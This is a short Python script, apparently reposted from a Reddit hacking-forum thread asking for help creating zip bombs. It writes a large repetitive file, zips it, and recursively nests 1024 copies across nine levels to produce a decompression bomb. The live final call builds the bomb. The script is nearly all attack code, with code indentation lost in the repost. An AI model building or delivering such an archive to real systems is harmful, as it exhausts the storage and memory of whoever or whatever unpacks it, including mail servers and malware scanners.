import os, zipfile
def create_file(filename):
with open(filename, 'w') as f:
for i in range(1000000):
value = i%2
f.write(f"{value}\n")
def create_zip(zipname, filename):
zipf = zipfile.ZipFile(zipname, 'w', compression=zipfile.ZIP_DEFLATED)
zipf.write(filename)
zipf.close()
def create_copies(original_zip, num_copies):
# Create individual copies
copies = []
for i in range(num_copies):
new_zip_name = f'copy_{i + 1}_{original_zip}'
with zipfile.ZipFile(new_zip_name, 'w', compression=zipfile.ZIP_DEFLATED) as zipf:
zipf.write(original_zip)
copies.append(new_zip_name)
os.remove(original_zip)
# Create ultimate zip of all copies
with zipfile.ZipFile(original_zip, 'w', compression=zipfile.ZIP_DEFLATED) as ultimate_zip:
for copy in copies:
ultimate_zip.write(copy)
os.remove(copy)
def create_ultimate_zip(original_zip, num_levels, num_copies):
for i in range(num_levels):
create_copies(original_zip, num_copies)
# create_file("test.txt")
# print(os.path.getsize("test.txt"))
# create_zip("myzip.zip", "test.txt")
# create_copies('myzip', 1024)
create_ultimate_zip("myzip.zip", 9, 1024)
文章来源: https://www.reddit.com/r/HowToHack/comments/1i86a64/need_help_with_creating_zip_bombs_for_educational/
如有侵权请联系:admin#unsafe.sh